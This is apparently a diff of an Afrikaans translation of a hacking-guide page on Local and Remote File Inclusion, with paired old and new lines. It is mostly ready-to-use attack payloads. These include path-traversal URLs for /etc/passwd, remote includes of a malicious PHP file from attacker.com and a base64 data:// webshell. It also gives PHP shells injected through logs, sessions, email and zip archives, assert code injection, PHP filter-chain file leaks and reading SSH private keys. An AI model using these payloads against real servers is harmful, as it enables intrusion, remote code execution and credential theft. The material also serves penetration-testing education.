'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) gevind word.
|
||||
'n lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) gevind word
|
||||
|
||||
### **OS X**
|
||||
|
||||
Kyk na die LFI-lys van Linux.
|
||||
Kyk na die LFI-lys van linux.
|
||||
|
||||
## Basiese LFI en omseilings
|
||||
|
||||
Al die voorbeelde is vir Plaaslike Lêer Insluiting, maar kan ook op Afgeleë Lêer Insluiting toegepas word (bladsy=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
||||
Al die voorbeelde is vir Plaaslike Lêer Insleep, maar kan ook op Afgeleë Lêer Insleep toegepas word (bladsy=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
|
@ -82,7 +82,7 @@ http://example.com/index.php?page=....//....//....//etc/passwd
|
|||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Nulbyte (%00)**
|
||||
### **Null byte (%00)**
|
||||
|
||||
Bypass die aanhegting van meer karakters aan die einde van die voorsiene string (bypass van: $\_GET\['param']."php")
|
||||
```
|
||||
|
@ -105,11 +105,11 @@ Miskien kontroleer die agterkant die vouerpad:
|
|||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Verkenning van Lêersisteemgide op 'n Bediener
|
||||
### Verken van Lêersisteemgids op 'n Bediener
|
||||
|
||||
Die lêersisteem van 'n bediener kan rekursief verken word om gide te identifiseer, nie net lêers, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die gidediepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
|
||||
Die lêersisteem van 'n bediener kan rekursief verken word om gidsname, nie net lêers, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die gidsdiepte en die ondersoek na die bestaan van spesifieke gidsname. Hieronder is 'n gedetailleerde metode om dit te bereik:
|
||||
|
||||
1. **Bepaal Gidediepte:** Stel die diepte van jou huidige gids vas deur suksesvol die `/etc/passwd`-lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
|
||||
1. **Bepaal Gidsdiepte:** Stel die diepte van jou huidige gids vas deur suksesvol die `/etc/passwd`-lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan so gestruktureer wees, wat 'n diepte van drie aandui:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
|
@ -117,12 +117,12 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
|||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpreteer die Resultate:** Die server se reaksie dui aan of die folder bestaan:
|
||||
* **Fout / Geen Uitset:** Die folder `private` bestaan waarskynlik nie op die gespesifiseerde plek nie.
|
||||
* **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` folder is bevestig.
|
||||
4. **Rekursiewe Verkenning:** Ontdekte folders kan verder ondersoek word vir subdossiers of lêers deur dieselfde tegniek of tradisionele Plaaslike Lêer Insluiting (LFI) metodes te gebruik.
|
||||
3. **Interpreteer die Resultate:** Die reaksie van die bediener dui aan of die omslag bestaan:
|
||||
* **Fout / Geen Uitset:** Die omslag `private` bestaan waarskynlik nie op die gespesifiseerde plek nie.
|
||||
* **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` omslag word bevestig.
|
||||
4. **Herhalende Verkenning:** Ontdekte omslae kan verder ondersoek word vir subdossiers of lêers deur dieselfde tegniek of tradisionele Plaaslike Lêer Insluiting (LFI) metodes te gebruik.
|
||||
|
||||
Vir die verkenning van gids by verskillende plekke in die lêersisteem, pas die lading dienooreenkomstig aan. Byvoorbeeld, om te kyk of `/var/www/` 'n `private` gids bevat (onder die aanname dat die huidige gids op 'n diepte van 3 is), gebruik:
|
||||
Vir die verkenning van gids by verskillende plekke in die lêersisteem, pas die las aan soos nodig. Byvoorbeeld, om te kyk of `/var/www/` 'n `private` omslag bevat (onder die aanname dat die huidige omslag op 'n diepte van 3 is), gebruik:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
|
@ -133,10 +133,10 @@ Padafkapping is 'n metode wat gebruik word om lêerpaadjies in webtoepassings te
|
|||
In PHP kan verskeie voorstellings van 'n lêerpaadjie as ekwivalent beskou word as gevolg van die aard van die lêersisteem. Byvoorbeeld:
|
||||
|
||||
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde paadjie hanteer.
|
||||
* Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (wat dit `passwd/` maak) nie die geteikende lêer nie.
|
||||
* Op soortgelyke wyse, as `.php` by 'n lêerpaadjie gevoeg word (soos `shellcode.php`), sal die byvoeging van `/.` aan die einde nie die toeganklike lêer verander nie.
|
||||
* Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (waar dit `passwd/` maak) nie die geteikende lêer nie.
|
||||
* Op dieselfde manier, as `.php` by 'n lêerpaadjie gevoeg word (soos `shellcode.php`), sal die byvoeging van `/.` aan die einde nie die toeganklike lêer verander nie.
|
||||
|
||||
Die voorsiene voorbeelde demonstreer hoe om padafkapping te benut om toegang tot `/etc/passwd` te verkry, 'n algemene teiken as gevolg van sy sensitiewe inhoud (gebruikersrekeninginligting):
|
||||
Die voorsiene voorbeelde demonstreer hoe om padafkapping te gebruik om toegang tot `/etc/passwd` te verkry, 'n algemene teiken as gevolg van sy sensitiewe inhoud (gebruikersrekeninginligting):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
|
@ -146,10 +146,10 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
|||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
In hierdie scenario's kan die aantal traversals wat benodig word, ongeveer 2027 wees, maar hierdie aantal kan wissel gebaseer op die bediener se konfigurasie.
|
||||
In hierdie scenario's mag die aantal traversals wat benodig word, ongeveer 2027 wees, maar hierdie aantal kan varieer gebaseer op die bediener se konfigurasie.
|
||||
|
||||
* **Gebruik van Puntsegmente en Addisionele Karakters**: Traversal-reeks (`../`) gekombineer met ekstra puntsegmente en karakters kan gebruik word om die lêersisteem te navigeer, waardeur toegevoegde strings deur die bediener geïgnoreer word.
|
||||
* **Bepaling van die Benodigde Aantal Traversals**: Deur proefondervindelik te werk, kan die presiese aantal `../` reekse wat nodig is om na die hoofgids te navigeer en dan na `/etc/passwd` te gaan, gevind word. Dit verseker dat enige toegevoegde strings (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) bly intak.
|
||||
* **Gebruik van Puntsegmente en Addisionele Karakters**: Traversal-reeks (`../`) gekombineer met ekstra puntsegmente en karakters kan gebruik word om die lêersisteem te navigeer, waardeur die aangehegte strings deur die bediener geïgnoreer word.
|
||||
* **Bepaling van die Benodigde Aantal Traversals**: Deur toets en fout, kan die presiese aantal `../` reekse wat nodig is om na die hoofgids te navigeer en dan na `/etc/passwd` gevind word, wat verseker dat enige aangehegte strings (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) bly intak.
|
||||
* **Begin met 'n Vals Gids**: Dit is 'n algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word gebruik as 'n voorbehoedende maatreël of om aan die vereistes van die bediener se padontledingslogika te voldoen.
|
||||
|
||||
Wanneer padafkappings tegnieke gebruik word, is dit noodsaaklik om die bediener se padontledingsgedrag en lêersisteemstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees doeltreffende metode te vind.
|
||||
|
@ -164,9 +164,9 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
|||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote Lêer Insluiting
|
||||
## Verre lêer insluiting
|
||||
|
||||
In php is dit standaard afgeskakel omdat **`allow_url_include`** **Af** is. Dit moet **Aan** wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou bediener insluit en RCE kry:
|
||||
In php is dit standaard afgeskakel omdat **`allow_url_include`** **Af** is. Dit moet **Aan** wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou bediener insluit en RCE kry:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
|
@ -191,7 +191,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Python Rootheleme
|
||||
## Python Wortelelement
|
||||
|
||||
In Python in 'n kode soos hierdie een:
|
||||
```python
|
||||
|
@ -203,7 +203,7 @@ Indien die gebruiker 'n **absoluut pad** na **`file_name`** deurgee, word die **
|
|||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Dit is die bedoelde gedrag volgens [die dokumente](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
Dit is die bedoelde gedrag volgens [die dokumentasie](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en die aansluiting gaan voort vanaf die absolute pad komponent.
|
||||
|
||||
|
@ -251,14 +251,14 @@ PHP-filters maak basiese **wysigingsoperasies op die data** moontlik voordat dit
|
|||
* `string.rot13`
|
||||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: Verwyder tags van die data (alles tussen "<" en ">" karakters)
|
||||
* `string.strip_tags`: Verwyder tages van die data (alles tussen "<" en ">" karakters)
|
||||
* Let daarop dat hierdie filter uit die moderne weergawes van PHP verdwyn het
|
||||
* [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
* `convert.base64-encode`
|
||||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*` : Verander na 'n ander enkodering (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van al die ondersteunde enkoderings** te kry, hardloop in die konsole: `iconv -l`
|
||||
* `convert.iconv.*` : Verander na 'n ander enkodering (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle ondersteunde enkoderings** te kry, hardloop in die konsole: `iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
Deur die `convert.iconv.*` omskakelingsfilter te misbruik, kan jy **willekeurige teks genereer**, wat nuttig kan wees om willekeurige teks te skryf of 'n funksie soos insluitingsproses willekeurige teks te maak. Vir meer inligting kyk na [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
@ -302,12 +302,12 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Die deel "php://filter" is nie hooflettergevoelig nie
|
||||
Die deel "php://filter" is nie hoofletter sensitief nie
|
||||
{% endhint %}
|
||||
|
||||
### Gebruik van php-filters as orakel om willekeurige lêers te lees
|
||||
|
||||
[**In hierdie pos**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitset van die bediener terug te kry. Hierdie tegniek is gebaseer op 'n **boolean uitlekking van die lêer (karakter vir karakter) deur php-filters** as orakel te gebruik. Dit is omdat php-filters gebruik kan word om 'n teks groot genoeg te maak om 'n uitsondering in php te veroorsaak.
|
||||
[**In hierdie pos**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitset wat van die bediener teruggegee word te hê. Hierdie tegniek is gebaseer op 'n **boolean uitlekking van die lêer (karakter vir karakter) deur php-filters** as orakel te gebruik. Dit is omdat php-filters gebruik kan word om 'n teks groot genoeg te maak om 'n uitsondering in php te veroorsaak.
|
||||
|
||||
In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek vind, maar hier is 'n vinnige opsomming:
|
||||
|
||||
|
@ -317,15 +317,15 @@ In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek
|
|||
* Dit, gekombineer met die vorige (en ander filters afhangende van die gegokte letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n heksadesimale karakter te maak nie. Want as dit heksadesimaal is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php-fout veroorsaak.
|
||||
* Die kodeerder **convert.iconv.UNICODE.CP930** verander elke letter in die volgende een (dus na hierdie kodeerder: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n `a` is byvoorbeeld omdat as ons 6 van hierdie kodeerders toepas a->b->c->d->e->f->g is die letter nie meer 'n heksadesimale karakter nie, daarom verwyder dechunk dit nie en word die php-fout veroorsaak omdat dit met die aanvanklike bom vermenigvuldig.
|
||||
* Deur ander transformasies soos **rot13** aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodeerders kan gebruik word om ander letters na die heks-bereik te skuif).
|
||||
* Wanneer die aanvanklike karakter 'n nommer is, moet dit in base64-kodeer en die eerste 2 letters lek om die nommer te lek.
|
||||
* Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te lek**. Deur ordegeheue-filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
|
||||
* En om in staat te wees om **verdere data** te verkry, is die idee om **2 byte rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, pas **UCS-4LE** toe om dit met die volgende 2 byte te **pivot**, en **verwyder die data tot by die rommeldata** (dit sal die eerste 2 byte van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
|
||||
* Wanneer die aanvanklike karakter 'n nommer is, moet dit base64-kodeer word en die eerste 2 letters gelek word om die nommer te lek.
|
||||
* Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te lek**. Deur orde-geheue-filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
|
||||
* En om in staat te wees om **verdere data** te verkry, is die idee om **2 byte rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, pas **UCS-4LE** toe om dit met die volgende 2 byte te **pivot**, en **verwyder die data tot by die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
|
||||
|
||||
In die pos is 'n instrument om dit outomaties uit te voer ook gelek: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Hierdie omhulsel maak dit moontlik om toegang tot lêerbeskrywers te verkry wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te lek:
|
||||
Hierdie omhulsel maak dit moontlik om toegang tot lêerbeskrywers te verkry wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers uit te lek:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
|
@ -334,7 +334,7 @@ Jy kan ook **php://stdin, php://stdout en php://stderr** gebruik om die **lêer
|
|||
|
||||
### zip:// en rar://
|
||||
|
||||
Laai 'n Zip- of Rar-lêer met 'n PHPShell binne en benader dit.\
|
||||
Laai 'n Zip of Rar lêer met 'n PHPShell binne en benader dit.\
|
||||
Om die rar-protokol te misbruik, **moet dit spesifiek geaktiveer word**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
|
@ -352,7 +352,7 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|||
```
|
||||
### data://
|
||||
|
||||
Hierdie protokol stel jou in staat om data direk in die URL in te sluit. Dit kan gebruik word om data direk vanaf die URL te laai sonder om 'n eksterne bron aan te roep. Dit kan 'n potensiële veiligheidsrisiko wees as dit nie behoorlik hanteer word nie.
|
||||
Hierdie tegniek maak gebruik van die `data://` URI-skema om data direk in 'n webbladsy in te sluit. Dit kan gebruik word om sensetiewe inligting bloot te stel of om kwaadwillige kode uit te voer op die webbediener.
|
||||
```
|
||||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||||
|
@ -404,6 +404,12 @@ Vir 'n gedetailleerde begrip van die misbruik van deserialisasie kwesbaarhede in
|
|||
[phar-deserialization.md](phar-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Dit was moontlik om enige arbitrêre lêer wat van PHP ondersteun word om php filters te lees, te misbruik om 'n RCE te kry. Die gedetailleerde beskrywing kan [**gevind word in hierdie pos**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Baie vinnige opsomming: 'n **3 byte oorvloei** in die PHP-heap is misbruik om die ketting van vry stukke van 'n spesifieke grootte te verander om in staat te wees om **enigiets op enige adres te skryf**, dus 'n haak is bygevoeg om **`system`** te roep.\
|
||||
Dit was moontlik om stukke van spesifieke groottes toe te ken deur meer php filters te misbruik.
|
||||
|
||||
### Meer protokolle
|
||||
|
||||
Kyk na meer moontlike [**protokolle om hier in te sluit**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
@ -415,35 +421,35 @@ Kyk na meer moontlike [**protokolle om hier in te sluit**](https://www.php.net/m
|
|||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompresie Strome
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Vind padname wat ooreenstem met patroon (Dit gee niks drukbare terug nie, dus nie regtig nuttig hier nie)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Veilige Skel 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Klankstrome (Nie nuttig om willekeurige lêers te lees nie)
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Klankstrome (Nie nuttig om arbitrêre lêers te lees nie)
|
||||
|
||||
## LFI via PHP se 'assert'
|
||||
|
||||
Plaaslike Lêer Insluiting (LFI) risiko's in PHP is opvallend hoog wanneer daar gewerk word met die 'assert' funksie, wat kode binne-in strings kan uitvoer. Dit is veral problematies as insette wat wegspringkarakters soos ".." bevat, nagegaan word maar nie behoorlik gesaniteer word nie.
|
||||
Plaaslike Lêer Insluiting (LFI) risiko's in PHP is opvallend hoog wanneer daar gewerk word met die 'assert' funksie, wat kode binne-in strings kan uitvoer. Dit is veral problematies as insette wat die karakters vir deursnuffeling van gids soos ".." bevat, nagegaan word maar nie behoorlik gesaniteer word nie.
|
||||
|
||||
Byvoorbeeld, PHP-kode kan ontwerp wees om wegspring soos volg te voorkom:
|
||||
Byvoorbeeld, PHP-kode kan ontwerp wees om deursnuffeling van gids soos volg te voorkom:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Terwyl dit daarop gemik is om traversering te stop, skep dit onbedoeld 'n vektor vir kode-inspuiting. Om dit te benut vir die lees van lêerinhoude, kan 'n aanvaller die volgende gebruik:
|
||||
Terwyl dit daarop gemik is om traversering te stop, skep dit onbedoeld 'n vektor vir kode-inspuiting. Om hiervan gebruik te maak vir die lees van lêerinhoud, kan 'n aanvaller die volgende gebruik:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
Op dieselfde manier, vir die uitvoer van willekeurige stelselopdragte, kan mens die volgende gebruik:
|
||||
Op dieselfde manier, vir die uitvoering van willekeurige stelselopdragte, kan 'n persoon die volgende gebruik:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
Dit is belangrik om hierdie aanvalle te **URL-kodeer**.
|
||||
Dit is belangrik om **hierdie ladinge te URL-kodeer**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
|
||||
|
||||
**Hack-insigte**\
|
||||
Raak betrokke by inhoud wat die opwinding en uitdagings van hack bevat
|
||||
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack bekyk
|
||||
|
||||
**Nuutste Hack-nuus**\
|
||||
Bly op hoogte van die snelveranderende hack-wêreld deur middel van nuus en insigte in werklikheid
|
||||
Bly op hoogte van die snelveranderende hackwêreld deur middel van nuus en insigte in werklikheid
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
|
@ -456,13 +462,13 @@ Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke plat
|
|||
Hierdie tegniek is relevant in gevalle waar jy die lêerpad van 'n PHP-funksie **beheer** wat 'n lêer sal **toegang** maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**) maar die inhoud word nie vertoon nie.
|
||||
{% endhint %}
|
||||
|
||||
In [**hierdie ongelooflike pos**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blinde padtraversering misbruik kan word via PHP-filter om die inhoud van 'n lêer te **eksfiltrasieer deur 'n fout-orakel**.
|
||||
In [**hierdie ongelooflike pos**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blinde padtraversering misbruik kan word via PHP-filter om die inhoud van 'n lêer te **eksfiltreer via 'n fout-orakel**.
|
||||
|
||||
Kortliks, die tegniek gebruik die **"UCS-4LE" kodering** om die inhoud van 'n lêer so **groot** te maak dat die **PHP-funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak.
|
||||
|
||||
Daarna, om die eerste karakter te lek, word die filter **`dechunk`** gebruik saam met ander soos **base64** of **rot13** en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **ander karakters aan die begin te plaas en hulle te lek**.
|
||||
Dan, om die eerste karakter te lek, word die filter **`dechunk`** gebruik saam met ander soos **base64** of **rot13** en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **ander karakters aan die begin te plaas en hulle te lek**.
|
||||
|
||||
**Funksies wat vatbaar kan wees**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (slegs teiken lees slegs hiermee)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Funksies wat vatbaar kan wees**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (slegs teiken lees net met hierdie)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Vir die tegniese besonderhede, kyk na die genoemde pos!
|
||||
|
||||
|
@ -474,16 +480,16 @@ Voorheen verduidelik, [**volg hierdie skakel**](./#remote-file-inclusion).
|
|||
|
||||
### Via Apache/Nginx log lêer
|
||||
|
||||
As die Apache- of Nginx-bediener **vatbaar is vir LFI** binne die insluitfunksie, kan jy probeer om toegang te verkry tot **`/var/log/apache2/access.log` of `/var/log/nginx/access.log`**, stel binne die **gebruiker-agent** of binne 'n **GET-parameter** 'n php shell soos **`<?php system($_GET['c']); ?>`** en sluit daardie lêer in
|
||||
As die Apache- of Nginx-bediener **vatbaar is vir LFI** binne die insluitfunksie, kan jy probeer om toegang te verkry tot **`/var/log/apache2/access.log` of `/var/log/nginx/access.log`**, stel binne die **gebruiker-agent** of binne 'n **GET-parameter** 'n php-skul in soos **`<?php system($_GET['c']); ?>`** en sluit daardie lêer in
|
||||
|
||||
{% hint style="warning" %}
|
||||
Let daarop dat **as jy dubbele aanhalingstekens** vir die shell gebruik in plaas van **enkele aanhalingstekens**, die dubbele aanhalingstekens verander sal word vir die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word**.
|
||||
Let daarop dat **as jy dubbele aanhalingstekens** vir die skul gebruik in plaas van **enkele aanhalingstekens**, sal die dubbele aanhalingstekens gewysig word vir die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word** nie.
|
||||
|
||||
Maak ook seker jy **skryf die aanvalskode korrek** of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
|
||||
Maak ook seker jy **skryf die lading korrek** of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
|
||||
{% endhint %}
|
||||
|
||||
Dit kan ook in ander logboeke gedoen word, maar **wees versigtig,** die kode binne die logboeke kan URL-gekodeer wees en dit kan die Shell vernietig. Die kop **authorisation "basic"** bevat "gebruiker:wagwoord" in Base64 en dit word binne die logboeke ontsluit. Die PHPShell kan binne hierdie kop ingevoeg word.\
|
||||
Ander moontlike logboekpaaie:
|
||||
Dit kan ook in ander logboeke gedoen word, maar **wees versigtig,** die kode binne die logboeke kan URL-gekodeer wees en dit kan die Skul vernietig. Die kop **authorisation "basic"** bevat "gebruiker:wagwoord" in Base64 en dit word binne die logboeke ontsluit. Die PHPShell kan binne hierdie kop ingevoeg word.\
|
||||
Ander moontlike log-paaie:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
|
@ -495,6 +501,8 @@ Ander moontlike logboekpaaie:
|
|||
/var/log/nginx/error.log
|
||||
/var/log/httpd/error_log
|
||||
```
|
||||
Fuzzing woordelys: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Via E-pos
|
||||
|
||||
**Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP lading bevat soos `<?php echo system($_REQUEST["cmd"]); ?>` en probeer om dit in te sluit in die e-pos van die gebruiker met 'n pad soos **`/var/mail/<USERNAME>`** of **`/var/spool/mail/<USERNAME>`**
|
||||
|
@ -525,7 +533,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
|||
```
|
||||
### Via PHP-sessies
|
||||
|
||||
Kyk of die webwerf PHP-sessies gebruik (PHPSESSID)
|
||||
Kontroleer of die webwerf PHP-sessies gebruik (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
|
@ -539,24 +547,24 @@ Stel die koekie in op `<?php system('cat /etc/passwd');?>`
|
|||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Gebruik die LFI om die PHP-sessie lêer in te sluit
|
||||
Gebruik die LFI om die PHP-sessie lêer in te sluit.
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Via ssh
|
||||
|
||||
Indien ssh aktief is, kontroleer watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer om toegang te verkry tot **\<HOME>/.ssh/id\_rsa**
|
||||
Indien ssh aktief is, kontroleer watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang tot **\<HOME>/.ssh/id\_rsa**
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
